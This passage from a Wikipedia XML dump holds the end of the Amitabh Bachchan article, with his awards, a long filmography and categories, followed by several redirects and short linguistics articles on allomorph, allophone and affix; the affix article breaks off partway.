In 2006, Indian National Organisation for Tobacco Eradication (Note) accused Bachchan of breaking national law by appearing smoking a cigar on advertising posters for the film ''Family''. India's government banned tobacco advertisements in 2003, and Note threatened the film star with legal action.

==Trivia==
Amitabh Bachchan has played a character named Vijay in at least seventeen of his films!  Veteran Hindi actor Raaj Kumar was first approached to play the role of Police Inspector in Zanjeer, for some reason Raaj Kumar (who was known for his eccentric mannerisms)didn't accept the role and the role went to Amitabh.  Had Raaj Kumar accepted the Zanjeer's hero's role, Amitabh might not have been what he is today.

==Awards==
Bachchan has received the [[Padma Shri]] (1983) and  [[Padma Bhushan]] (2005), civilian honours from the [[Government of India|Indian government]]. In 1990, he won the National Award for his portrayal of a mafia don in ''Agneepath''. In 1999, he was named [[BBC]] Superstar of the Millennium. He has also won 14 [[Filmfare Award]]s in various categories.He recently won the 2006 FilmFare award for best actor for his role in film Black.

==Filmography==
{{ActingFilmography}}

{{ActingFilmography-movie |
  Title = [[Kamagata Maru]] |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = [[Happy New Year (film)|Happy New Year]] |
  Year = 2007 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = Baiju Aur Tansen |
  Year = 2006 |
  Role = Tansen
}}
{{ActingFilmography-movie |
  Title = [[Sholay]] |
  Year = 2006 |
  Role = Gabbar Singh
}}
{{ActingFilmography-movie |
  Title = Darna Zaroori Hai |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = God Tussi Great Ho |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = [[Kabhi Alvida Naa Kehna]] |
  Year = 2006 |
  Role = Mohinder Sharma 
}}
{{ActingFilmography-movie |
  Title = [[Baabul]] |
  Year = 2006 |
  Role = Balraj Kapoor
}}
{{ActingFilmography-movie |
  Title = [[Eklavya (film)|Eklavya]] |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = Khazan |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = Struggler |
  Year = 2006 |
  Role = 
}}
{{ActingFilmography-movie |
  Title = Zamaanat |
  Year = 2006 |
  Role = Shiv Shankar
}}
{{ActingFilmography-movie |
  Title = Family |
  Year = 2006 |
  Role = Viren Sahai 
}}
{{ActingFilmography-movie |
  Title = [[Ek Ajnabee]] |
  Year = 2005 |
  Role = Suryaveer Singh 
}}
{{ActingFilmography-movie |
  Title = Dil Jo Bhi Kahey... |
  Year = 2005 |
  Role = Shekhar Sinha 
}}
{{ActingFilmography-movie |
  Title = [[Viruddh]] |
  Year = 2005 |
  Role = Vidhyadar Ramkrishna Patwardhan 
}}
{{ActingFilmography-movie |
  Title = [[Parineeta]] |
  Year = 2005 |  
  Role = Narrator 
}}
{{ActingFilmography-movie |
  Title = [[Sarkar (film)]] |
  Year = 2005 |  
  Role = Subhash Nagare 'Sarkar' 
}}
{{ActingFilmography-movie |
  Title = [[Paheli]] |
  Year = 2005 |
  Role = The Shepherd 
}}
{{ActingFilmography-movie |
  Title = [[Ramji Londonwale]] |
  Year = 2005 |
  Role = Amitabh Bachchan as Himself 
}}
{{ActingFilmography-movie |
  Title = [[Bunty Aur Babli]] |
  Year = 2005 |
  Role = DCP Dashrath Singh 
}}
{{ActingFilmography-movie |
  Title = [[Waqt]] |
  Year = 2005 |
  Role = Ishwarchand Thakur 
}}
{{ActingFilmography-movie |
  Title = [[Black (The Movie)|Black]] |
  Year = 2005 |
  Role = Debraj Sahai 
}}
{{ActingFilmography-movie |
  Title = [[Khakee]] |
  Year = 2004 |
  Role = DCP Anant Kumar Shrivastav
}}
{{ActingFilmography-movie |
  Title = Aetbaar |
  Year = 2004 |
  Role = Dr. Ranveer Malhotra
}}
{{ActingFilmography-movie |
  Title = Rudraksh  |
  Year = 2004 |
  Role = Narrator
}}
{{ActingFilmography-movie |
  Title = Insaaf: The Justice |
  Year = 2004 |
  Role = Narrator
}}
{{ActingFilmography-movie |
  Title = [[Dev]] |
  Year = 2004 |
  Role = Dev
}}
{{ActingFilmography-movie |
  Title = [[Lakshya]] |
  Year = 2004 |
  Role = Col. Sunil Damle 
}}
{{ActingFilmography-movie |
  Title = [[Deewaar]] |
  Year = 2004 |
  Role = Maj. Ranvir Kaul
}}
{{ActingFilmography-movie |
  Title = [[Kyun...! Ho Gaya Na]] |
  Year = 2004 |
  Role = Raj Chauhan 
}}
{{ActingFilmography-movie |
  Title = Hum Kaun Hai? |
  Year = 2004 |
  Role = Dual Role (Major Frank John Williams &amp; Frank James Williams)
}}
{{ActingFilmography-movie |
  Title = [[Veer-Zaara]] |
  Year = 2004 |
  Role = Chaudhary Sumer Singh 
}}
{{ActingFilmography-movie |
  Title = Ab Tumhare Hawale Watan Saathiyo |
  Year = 2004 |
  Role = Major General Amarjeet Singh 
}}
{{ActingFilmography-movie |
  Title = Fun2shh |
  Year = 2003 |
  Role = Narrator
}}
{{ActingFilmography-movie |
  Title = [[Baghban]] |
  Year = 2003 |
  Role = Raj Malhotra
}}
{{ActingFilmography-movie | 
  Title = [[Boom]] |
  Year = 2003 |
  Role = Bade Mia 
}}
{{ActingFilmography-movie |
  Title = [[Mumbai Se Aaya Mera Dost ]] |
  Year = 2003 |
  Role = Narrator
}}
{{ActingFilmography-movie |
  Title = Armaan |
  Year = 2003 |
  Role = Dr. Siddharth Sinha 
}}
{{ActingFilmography-movie |
  Title = Khushi |
  Year = 2003 |
  Role = Narrator
}}
{{ActingFilmography-movie |
  Title = [[Kaante]] |
  Year = 2002 |
  Role = Yashvardhan Rampal 'Major' 
}}
{{ActingFilmography-movie |
  Title = Agnivarsha |
  Year = 2002 |
  Role = Indra
}}
{{ActingFilmography-movie |
  Title = Hum Kisise Kum Nahi |
  Year = 2002 |
  Role = Dr. Rastogi
}}
{{ActingFilmography-movie |
  Title = Aankhen |
  Year = 2002 |
  Role = Vijay Singh Rajput
}}
{{ActingFilmography-movie |
  Title = [[Lagaan]] |
  Year = 2001 |
  Role = Narrator
}}
{{ActingFilmography-movie | Title = [[Kabhi Khushi Kabhie Gham]] |  Year = 2001 |  Role = Yashvardhan 'Yash' Raichand 
}}
{{ActingFilmography-movie |
  Title = [[Aks]] |
  Year = 2001 |
  Role = Inspector Manu Verma
}}
{{ActingFilmography-movie |
  Title = Ek Rishta - The Bond of Love |
  Year = 2001 |
  Role = Vijay Kapoor
}}
{{ActingFilmography-movie |
  Title = [[Mohabbatein]] |
  Year = 2000 |
  Role = Narayan Shankar
}}
{{ActingFilmography-movie |
  Title = Kohraam |
  Year = 1999 |
  Role = Col. Balbir Singh Sodi, aka Devraj Hathoda/Dada Bhai
}}
{{ActingFilmography-movie 
| Title = Hindustan Ki Kasam 
|  Year = 1999 
|  Role = Kabeera
}}
{{ActingFilmography-movie 
| Title = [[Hello Brother]]
|  Year = 1999 
|  Role = Voice of God
}}
{{ActingFilmography-movie 
| Title = Sooryavansham
|  Year = 1999 
|  Role = Dual Role (Thakur Bhanu Pratap Singh &amp; Heera Singh) 
}}
{{ActingFilmography-movie 
| Title = Lal Baadshah 
|  Year = 1999 
|  Role = Dual Role (Lal 'Baadshah' Singh &amp; Ranbhir Singh)
}}
{{ActingFilmography-movie 
| Title = [[Bade Miyan Chhote Miyan]] 
|  Year = 1998 
|  Role = Dual Role (Inspector Arjun Singh &amp; Bade Miyan)
}}
{{ActingFilmography-movie 
| Title = Majorsaab 
|  Year = 1998 
|  Role = Maj. Jasbir Singh Rana
}}
{{ActingFilmography-movie 
| Title = [[Mrityudata]] 
|  Year = 1997 
|  Role = Dr. Ram Prasad Ghayal
}}
{{ActingFilmography-movie 
| Title = Tere Mere Sapne 
|  Year = 1996 
|  Role = Narrator
}}
{{ActingFilmography-movie 
| Title = [[Insaniyat]] 
|  Year = 1994 
|  Role = Inspector Amar
}}
{{ActingFilmography-movie 
| Title = [[Khuda Gawah]] 
|  Year = 1992 
|  Role = Baadshah Khan
}}
{{ActingFilmography-movie 
| Title = [[Indrajeet]] 
|  Year = 1991 
|  Role = Indrajeet
}}
{{ActingFilmography-movie 
| Title = [[Hum]] 
|  Year = 1991 
|  Role = Tiger/Shekhar
}}
{{ActingFilmography-movie 
| Title = [[Akayla]] 
|  Year = 1991 
|  Role = Inspector Vijay Verma
}}
{{ActingFilmography-movie 
| Title = [[Ajooba]] 
|  Year = 1991 
|  Role = Ajooba/Ali
}}
{{ActingFilmography-movie 
| Title = Krodh 
|  Year = 1990 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Agneepath]] 
|  Year = 1990 
|  Role = Vijay Deenanath Chauhan 
}}
{{ActingFilmography-movie 
| Title = [[Aaj ka Arjun]] 
|  Year = 1990 
|  Role = Bheema
}}
{{ActingFilmography-movie 
| Title = [[Toofan]] 
|  Year = 1989 
|  Role = Dual Role (Toofan &amp; Shyam)
}}
{{ActingFilmography-movie 
| Title = [[Main Azaad Hoon]] 
|  Year = 1989 
|  Role = Azaad
}}
{{ActingFilmography-movie 
| Title = [[Jaadugar]] 
|  Year = 1989 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = Soorma Bhopali 
|  Year = 1988 
|  Role = (Guest Appearance)

}}
{{ActingFilmography-movie 
| Title = [[Shahenshah]] 
|  Year = 1988 
|  Role = Inspector Vijay Kumar Srivastava/Shahenshah
}}
{{ActingFilmography-movie 
| Title = Kaun Jeeta Kaun Haara (Guest) 
|  Year = 1988 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Ganga Jamuna Saraswati]] 
|  Year = 1988 
|  Role = Ganga Prasad
}}
{{ActingFilmography-movie 
| Title = Jalwa 
|  Year = 1987 
|  Role = Special Appearance as himself 
}}
{{ActingFilmography-movie 
| Title = Hero Hiralal 
|  Year = 1987 
|  Role = Special Appearance as himself
}}
{{ActingFilmography-movie 
| Title = Ek Ruka Hua Faisla 
|  Year = 1986 
|  Role = (Guest Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Aakhree Raasta]] 
|  Year = 1986 
|  Role = Dual Role 
}}
{{ActingFilmography-movie 
| Title = Naya Bakra 
|  Year = 1985 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Mard]] 
|  Year = 1985 
|  Role = Raju 'Mard' Tangewala
}}
{{ActingFilmography-movie 
| Title = [[Giraftaar]] (Guest) 
|  Year = 1985 
|  Role = Inspector Karan Kumar Khanna
}}
{{ActingFilmography-movie 
| Title = [[Sharaabi]] 
|  Year = 1984 
|  Role = Vicky Kapoor
}}
{{ActingFilmography-movie 
| Title = [[Inquilaab]] 
|  Year = 1984 
|  Role = Amarnath
}}
{{ActingFilmography-movie 
| Title = [[Nastik]] 
|  Year = 1983 
|  Role = Shankar (Sheru)/Bhola
}}
{{ActingFilmography-movie 
| Title = [[Pukar]] 
|  Year = 1983 
|  Role = Ramdas/Ronnie
}}
{{ActingFilmography-movie 
| Title = [[Mahaan]] 
|  Year = 1983 
|  Role = Triple role (Amit/Rana Ranveer, Guru &amp; Inspector Shankar)
}}
{{ActingFilmography-movie 
| Title = [[Coolie]] 
|  Year = 1983 
|  Role = Iqbal
}}
{{ActingFilmography-movie 
| Title = [[Andha Kanoon]] (Guest) 
|  Year = 1983 
|  Role = Jan Nissar Akhtar Khan (Guest Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Shakti]] 
|  Year = 1982 
|  Role = Vijay Kumar
}}
{{ActingFilmography-movie 
| Title = [[Satte pe Satta]] 
|  Year = 1982 
|  Role = Dual Role (Ravi Anand/Babu)
}}
{{ActingFilmography-movie 
| Title = [[Namak Halaal]] 
|  Year = 1982 
|  Role = Arjun Singh
}}
{{ActingFilmography-movie 
| Title = [[Khud-daar]] 
|  Year = 1982 
|  Role = Govind Srivastav/Chotu Ustad
}}
{{ActingFilmography-movie 
| Title = [[Desh Premee]] 
|  Year = 1982 
|  Role = Dual Role (Master Dinanath &amp; Raju)
 
}}
{{ActingFilmography-movie 
| Title = [[Bemisaal]] 
|  Year = 1982 
|  Role = Dual Role (Dr. Sudhir Roy &amp; Adhir Roy)
}}
{{ActingFilmography-movie 
| Title = [[Yaraana]] 
|  Year = 1981 
|  Role = Kishan Kumar
}}
{{ActingFilmography-movie 
| Title = [[Silsila]] 
|  Year = 1981 
|  Role = Amit Malhotra
}}
{{ActingFilmography-movie 
| Title = [[Naseeb]] 
|  Year = 1981 
|  Role = John, Jaani, Janardhan
}}
{{ActingFilmography-movie 
| Title = [[Lawaaris]] 
|  Year = 1981 
|  Role = Heera
}}
{{ActingFilmography-movie 
| Title = Vilayati Babu (Special Appearance) 
|  Year = 1981 
|  Role = Jagga (Special Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Kaalia]] 
|  Year = 1981 
|  Role = Kallu/Kaalia
}}
{{ActingFilmography-movie 
| Title = [[Barsaat ki Ek Raat]] 
|  Year = 1981 
|  Role = ACP Abhijeet Rai
}}
{{ActingFilmography-movie 
| Title = Commander (Guest) 
|  Year = 1981 
|  Role = Guest Appearance
}}
{{ActingFilmography-movie 
| Title = Chashme Buddoor (Guest) 
|  Year = 1981 
|  Role = Guest Appearance
}}
{{ActingFilmography-movie 
| Title = [[Shaan]] 
|  Year = 1980 
|  Role = Vijay Kumar
}}
{{ActingFilmography-movie 
| Title = [[Ram Balraam]] 
|  Year = 1980 
|  Role = Inspector Balram Singh
}}
{{ActingFilmography-movie 
| Title = [[Dostaana]] 
|  Year = 1980 
|  Role = Vijay Varma
}}
{{ActingFilmography-movie 
| Title = [[Do aur Do Panch]] 
|  Year = 1980 
|  Role = Vijay/Ram
}}
{{ActingFilmography-movie 
| Title = Cinema Cinema 
|  Year = 1979 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Suhaag]] 
|  Year = 1979 
|  Role = Amit Kapoor
}}
{{ActingFilmography-movie 
| Title = [[Mr. Natwarlal]] 
|  Year = 1979 
|  Role = Natwarlal/Avtar Singh
}}
{{ActingFilmography-movie 
| Title = [[Manzil]] 
|  Year = 1979 
|  Role = Ajay Chandra
}}
{{ActingFilmography-movie 
| Title = [[Kaala Patthar]] 
|  Year = 1979 
|  Role = Vijay Pal Singh
}}
{{ActingFilmography-movie 
| Title = Jurmaana 
|  Year = 1979 
|  Role = Inder Saxena
}}
{{ActingFilmography-movie 
| Title = [[The Great Gambler]] 
|  Year = 1979 
|  Role = Dual Role (Jay &amp; Inspector Vijay)
}}
{{ActingFilmography-movie 
| Title = [[Gol Maal]] 
|  Year = 1979 
|  Role = as himself Guest Appearance
}}
{{ActingFilmography-movie 
| Title = [[Muqaddar ka Sikandar]] 
|  Year = 1978 
|  Role = Sikandar
}}
{{ActingFilmography-movie 
| Title = [[Trishul]] 
|  Year = 1978 
|  Role = Vijay Kumar
}}
{{ActingFilmography-movie 
| Title = [[Kasme Vaade]] 
|  Year = 1978 
|  Role = Dual Role (Amit &amp; Shankar) 
}}
{{ActingFilmography-movie 
| Title = [[Ganga Ki Saugandh]] 
|  Year = 1978 
|  Role = Jeeva
}}
{{ActingFilmography-movie 
| Title = [[Don]] 
|  Year = 1978 
|  Role = Double Role (Don/Vijay) 
}}
{{ActingFilmography-movie 
| Title = [[Besharam]] 
|  Year = 1978 
|  Role = Ram Kumar Chandra/Prince Chandrashekar
}}
{{ActingFilmography-movie 
| Title = Shatranj Ke Khilari 
|  Year = 1977 
|  Role = Narrator
}}
{{ActingFilmography-movie 
| Title = [[Parvarish]] 
|  Year = 1977 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Khoon Paseena]] 
|  Year = 1977 
|  Role = Shiva/Tiger
}}
{{ActingFilmography-movie 
| Title = [[Imaan Dharam]] 
|  Year = 1977 
|  Role = Ahmed Raza
}}
{{ActingFilmography-movie 
| Title = [[Amar Akbar Anthony]] 
|  Year = 1977 
|  Role = Anthony Gonsalves/Raju
}}
{{ActingFilmography-movie 
| Title = [[Alaap]] 
|  Year = 1977 
|  Role = Alok Prasad
}}
{{ActingFilmography-movie 
| Title = Charandas (Special Appearance) 
|  Year = 1977 
|  Role = Qawwali Singer (Special Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Adalat]] 
|  Year = 1976 
|  Role = Dual Role (Dharma/Thakur Dharam Chand &amp; Raju)
}}
{{ActingFilmography-movie 
| Title = [[Hera Pheri]] 
|  Year = 1976 
|  Role = Vijay
}}
{{ActingFilmography-movie 
| Title = [[Kabhie Kabhie]] 
|  Year = 1976 
|  Role = Amitabh &quot;Amit&quot; Malhotra
}}
{{ActingFilmography-movie 
| Title = [[Do Anjaane]] 
|  Year = 1976 
|  Role = Amit Roy/Naresh Dutt
}}
{{ActingFilmography-movie 
| Title = [[Sholay]] 
|  Year = 1975 
|  Role = Jai (Jaidev)

}}
{{ActingFilmography-movie 
| Title = [[Mili]] 
|  Year = 1975 
|  Role = Shekhar Dayal
}}
{{ActingFilmography-movie 
| Title = [[Zameer]] 
|  Year = 1975 
|  Role = Baadal/Chimpoo
}}
{{ActingFilmography-movie 
| Title = [[Faraar]] 
|  Year = 1975 
|  Role = Rajesh (Raj)
}}
{{ActingFilmography-movie 
| Title = [[Deewar]] 
|  Year = 1975 
|  Role = Vijay Verma
}}
{{ActingFilmography-movie 
| Title = [[Chupke Chupke]] 
|  Year = 1975 
|  Role = Professor Sukumar Sinha/Parimal Tripathi
}}
{{ActingFilmography-movie 
| Title = Kunwara Baap (Guest) 
|  Year = 1974 
|  Role = as Himself (Guest Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Roti Kapda aur Makaan]] 
|  Year = 1974 
|  Role = Vijay
}}
{{ActingFilmography-movie 
| Title = [[Majboor]] 
|  Year = 1974 
|  Role = Ravi Khanna
}}
{{ActingFilmography-movie 
| Title = [[Kasauti]] 
|  Year = 1974 
|  Role = Amitabh Sharma (Amit)
}}
{{ActingFilmography-movie 
| Title = Dost (Guest) 
|  Year = 1974 
|  Role = Anand (Guest Appearance)
}}
{{ActingFilmography-movie 
| Title = [[Benaam]] 
|  Year = 1974 
|  Role = Amit Srivastav
}}
{{ActingFilmography-movie 
| Title = Bada Kabutar (Guest) 
|  Year = 1973 
|  Role = Guest appearance
}}
{{ActingFilmography-movie 
| Title = [[Zanjeer]] 
|  Year = 1973 
|  Role = Inspector Vijay 
}}
{{ActingFilmography-movie 
| Title = [[Saudagar]] 
|  Year = 1973 
|  Role = Mothi
}}
{{ActingFilmography-movie 
| Title = [[Namak Haram]] 
|  Year = 1973 
|  Role = Vikram (Vicky)
}}
{{ActingFilmography-movie 
| Title = [[Gehri Chaal]] 
|  Year = 1973 
|  Role = Ratan
}}
{{ActingFilmography-movie 
| Title = Baandhe Haath 
|  Year = 1973 
|  Role = Dual Role (Shyamu &amp; Deepak)
}}
{{ActingFilmography-movie 
| Title = [[Abhimaan]] 
|  Year = 1973 
|  Role = Subir Kumar (Beeru)

}}
{{ActingFilmography-movie 
| Title = Raaste Ka Patthar 
|  Year = 1972 
|  Role = Jai Shankar Rai
}}
{{ActingFilmography-movie 
| Title = Bawarchi (Guest) 
|  Year = 1972 
|  Role = Narrator
}}
{{ActingFilmography-movie 
| Title = Jaban 
|  Year = 1972 
|  Role = 
}}
{{ActingFilmography-movie 
| Title = [[Ek Nazar]] 
|  Year = 1972 
|  Role = Manmohan Akash Tyagi
}}
{{ActingFilmography-movie 
| Title = [[Bombay to Goa]] 
|  Year = 1972 
|  Role = Ravi Kumar
}}
{{ActingFilmography-movie 
| Title = Bansi Birju 
|  Year = 1972 
|  Role = Birju
}}
{{ActingFilmography-movie 
| Title = Piya Ka Ghar (Guest) 
|  Year = 1971 
|  Role = Guest Appearance
}}
{{ActingFilmography-movie 
| Title = [[Reshma Aur Shera]] 
|  Year = 1971 
|  Role = Chotu
}}
{{ActingFilmography-movie 
| Title = [[Sanjog]] 
|  Year = 1971 
|  Role = Mohan
}}
{{ActingFilmography-movie 
| Title = [[Parwaana]] 
|  Year = 1971 
|  Role = Kumar Sen
}}
{{ActingFilmography-movie 
| Title = Pyar Ki Kahani 
|  Year = 1971 
|  Role = Ram Chandra
}}
{{ActingFilmography-movie 
| Title = [[Guddi]] 
|  Year = 1971 
|  Role = as himself guest appearance
}}
{{ActingFilmography-movie 
| Title = [[Anand]] 
|  Year = 1970 
|  Role = Dr. Bhaskar K. Bannerjee/Babu Moshai
}}
{{ActingFilmography-movie 
| Title = [[Bhuvan Shome]] 
|  Year = 1969 
|  Role = Narrator aka Mr. Shome 
}}
{{ActingFilmography-movie 
| Title = [[Saat Hindustani]] 
|  Year = 1969 
|  Role = Anwar Ali Anwar
}}
{{Filmography-end
}}
===Current projects===
*''[[Baiju Aur Tansen]]'' 
*''[[Happy New Year!!! (film)| Happy New Year!!!]]'' 
*''[[Sarkar 2]]''
*''[[Sholay]]''
*''[[God Tussi Great Ho]]''
*''[[Darna Zaroori Hai]]''
*''[[Baabul]]''
*''[[Khazan]]''
*''[[Eklavya]]''
*''[[Struggler]]''

==References==
*{{note|election}} &quot;[http://www.hindustantimes.com/news/specials/amitabh/politics.htm Amitabh Bachchan: Stint in Politics]&quot; HindustanTimes.com. Accessed on [[December 5]], [[2005]].
*{{note|politics}} &quot;[http://news.bbc.co.uk/1/hi/world/south_asia/4487416.stm Amitabh Bachchan: The comeback man]&quot; BBC News. Accessed on [[December 5]], [[2005]].

==External links==
* {{imdb name|name=Amitabh Bachchan|id=0000821}}
* [http://www.AmitabhBachchan.net An unofficial Amitabh Bachchan Website]
* [http://www.filmlinc.com/wrt/programs/4-2005/ab05.htm Bachchan film retrospective at Lincoln Center]
* [http://www.bharatmatrimony.com/matrimonyxpress/celeb-speak/indian/bollywood-actor/amitabh-bachchan-01.shtml An interview with Amitabh Bachchan]

[[Category:1942 births|Bachchan, Amitabh]]
[[Category:Living people|Bachchan, Amitabh]]

[[Category:Actors|Bachchan,Amitabh]]
[[Category:Actor-politicians|Bachchan, Amitabh]]
[[Category:Film actors|Bachchan,Amitabh]]
[[Category:Indian actors|Bachchan,Amitabh]]
[[Category:Indian film actors|Bachchan,Amitabh]]
[[Category:Indian television presenters|Bachchan,Amitabh]]
[[Category:Padma Bhushan awardees|Bachchan, Amitabh]]
[[Category:Padma Shri awardees|Bachchan, Amitabh]]
[[Category:Vegetarians|Bachchan,Amitabh]]

[[de:Amitabh Bachchan]]
[[fa:آمیتاب باچان]]
[[fr:Amitabh Bachchan]]
[[gu:અમિતાભ બચ્ચન]]
[[hi:अमिताभ बच्चन]]
[[nl:Amitabh Bachchan]]
[[sa:अमिताभ बच्चन]]
[[sv:Amitabh Bachchan]]
[[he:אמיטאב באצ'אן]]</text>
    </revision>
  </page>
  <page>
    <title>Air Pollution</title>
    <id>1830</id>
    <revision>
      <id>15900293</id>
      <timestamp>2002-04-27T07:46:26Z</timestamp>
      <contributor>
        <username>Chato</username>
        <id>159</id>
      </contributor>
      <minor />
      <comment>changed redirect to &amp;quot;Air pollution&amp;quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Air pollution]]
</text>
    </revision>
  </page>
  <page>
    <title>Antarctic-Environmental Protocol</title>
    <id>1831</id>
    <revision>
      <id>15900294</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Protocol on Environmental Protection to the Antarctic Treaty]]
</text>
    </revision>
  </page>
  <page>
    <title>Allomorph</title>
    <id>1832</id>
    <revision>
      <id>40198555</id>
      <timestamp>2006-02-18T22:23:34Z</timestamp>
      <contributor>
        <username>Localzuk</username>
        <id>687650</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">&lt;!-- Keep this note! Technical term, necessary for wikipedia articles; don't assign for wiktionary --&gt;
''This article is about a lingustic term. See [[Pseudomorph]] for another meaning of the word.''
----
In [[linguistics]] an '''allomorph''' is a variant form of a [[morpheme]]. The meaning remains the same, while the sound can vary.

For example, in the [[English language]] the past tense morpheme is -ed.  It occurs in several allomorphs depending on its phonological environment, assimilating voicing of the previous segment or inserting a [[schwa]] when following an alveolar stop:

* as {{IPA|/əd/}} in 'hunted' or 'banded',
* as {{IPA|/d/}} in 'buzzed', 
* as {{IPA|/t/}} in 'fished'

Allomorphy can also exist in case distinctions, as in Classic [[Sanskrit]]:

{| class=&quot;wikitable&quot;
|+'''Vāk''' (voice)
|-
!  
!'''Singular'''
!'''Plural'''
|-
! [[Nominative]]
|{{IPA|/va&amp;#720;k/}}
|{{IPA|/va&amp;#720;&amp;#679;-as/}}
|- 
! [[Genitive case|Genitive]]
|{{IPA|/va&amp;#720;&amp;#679;-as/}}
|{{IPA|/va&amp;#720;&amp;#679;-a&amp;#720;m/}}
|-
! [[Instrumental case|Instrumental]]
|{{IPA|/va&amp;#720;&amp;#679;-a&amp;#720;/}}
|{{IPA|/va&amp;#720;g-b&amp;#689;is/}}
|-
! [[Locative case|Locative]]
|{{IPA|/va&amp;#720;&amp;#679;-i/}}
|{{IPA|/va&amp;#720;k-&amp;#642;i/}}
|}

The nominative {{IPA|/va&amp;#720;k/}} is the basic form of the morpheme and, because of Pre-Indic palatalazation of [[velars]] and the merging of {{IPA|/e/}} and {{IPA|/o/}} into {{IPA|/a/}} (making the alternation unpredictable on phonetic grounds), morphophonemic variation has occurred that isn’t directly related to phonological processes.

==See also==
* [[Consonant mutation]]
* [[Grassman's Law]]


==Reference==
*{{cite book|title= Principles and Methods for Historical Linguistics |author= Jeffers, Robert J. and Lehiste, Ilse |year=1979|
publisher= MIT press |}}

{{ling-stub}}

[[Category:Linguistic morphology]]

[[de:Allomorph]]
[[nl:Allomorf]]
[[pl:Allomorf]]
[[sv:Allomorf]]</text>
    </revision>
  </page>
  <page>
    <title>American bias</title>
    <id>1833</id>
    <revision>
      <id>15900296</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cultural_imperialism]]
</text>
    </revision>
  </page>
  <page>
    <title>Allophone</title>
    <id>1834</id>
    <revision>
      <id>39139570</id>
      <timestamp>2006-02-10T23:34:59Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">''This article is about the sense of &quot;allophone&quot; used in linguistics.  For other senses, see [[allophone (disambiguation)]].''

In [[phonetics]], an '''allophone''' is one of several similar [[phone]]s that belong to the same [[phoneme]]. A phone is a sound that has a definite shape as a sound wave, while a phoneme is a basic group of sounds that can distinguish words (i.e. changing one phoneme in a word can produce another word); speakers of a particular language perceive a phoneme as a single distinctive sound in that language.  Thus an allophone is a phone considered as a member of one phoneme.  

Each allophone is used in a specific phonetic context and many times there is some sort of [[phonology|phonological]] process.  Not all phonemes have significantly different allophones, but there are always minor differences in articulation from one piece of speech to the next.  

For example, {{IPA|[p&amp;#688;]}} as in ''pin'' and {{IPA|[p]}} as in ''cap'' are allophones for the phoneme /p/ in the [[English language]] because they occur in [[complementary distribution]]. English speakers generally treat these as the same sound, but they are different.  The latter is [[unaspirated]] (plain):  if plain {{IPA|[p]}} is also found in words such as the second '''p''' in ''paper'' {{IPA|[p&amp;#688;eɪ.pɚ]}} or ''spin'' {{IPA|[spɪn]}}. Outside of contexts that plain '''p''' appears in English, speakers may hear it as '''b''' since English '''b''' is typically unaspirated. 

[[Chinese language|Chinese]] treats these two phones differently and the latter is always written as '''b''' in [[pinyin]]; thus, they are not allophones in Chinese.

Similarly, English-speaking people may become aware of the difference between two allophones of the phoneme '''t'''  when they consider the pronunciations of the following phrases:

:night rate
:nitrate

==See also==
*[[List of phonetics topics]]

[[Category:Phonetics]]
[[Category:Phonology]]

[[br:Alofonenn]]
[[da:Allofon]]
[[de:Allophon]]
[[es:Alófono]]
[[eo:Alofono]]
[[fr:Allophone]]
[[gl:Alófono]]
[[ko:이음]]
[[it:Allofono]]
[[he:אלופון]]
[[hu:Allofón]]
[[nl:Allofoon]]
[[nn:Allofon]]
[[pl:Alofon]]
[[ru:Аллофон]]
[[sco:Allophones]]
[[fi:Allofoni]]
[[sv:Allofon]]</text>
    </revision>
  </page>
  <page>
    <title>Affix</title>
    <id>1835</id>
    <revision>
      <id>39117935</id>
      <timestamp>2006-02-10T20:59:14Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">An '''affix''' is a [[morpheme]] that is attached to a base morpheme such as a [[root (linguistics)|root]] or to a [[stem (linguistics)|stem]], to form a word. Affixes may be [[derivation_(linguistics)|derivational]], like English ''-ness'' and ''pre-'', or [[inflection|inflectional]], like English plural ''-s'' and past tense ''-ed''.

==Types of affixes==
Affixes are divided into several types, depending on their position with reference to the root: 

* [[Prefix]]es (attached before another morpheme)
* [[Suffix]]es (attached after another morpheme)
* [[Infix]]es (inserted within another morpheme)
* [[Circumfix]]es (attached before and after another morpheme or set of morphemes)
* [[Interfix]]es (semantically empty linking elements in compounds)
* [[Suprafix]]es (also ''superfix'', attached [[suprasegmental]]ly to another morpheme)
* [[Simulfix]]es (also ''transfix'' or ''root-and-pattern morphology'', discontinuous affix interweaved throughout a discontinuous base) 
* [[Duplifix]] (little used term referring to affix composed of both a reduplicated and non-reduplicated element, see [[Reduplication#Reduplication and other processes|Reduplication and other processes]])

Affixes are [[bound morpheme]]s by definition.  Prefixes and suffixes may be [[separable affix]]es.

There also has been a proposal of a somewhat different type of affix, a ''[[disfix]]'' or ''subtractive morpheme'', which subtracts phonological segments from bases.

Affixes are central to the process of [[concatenation]].

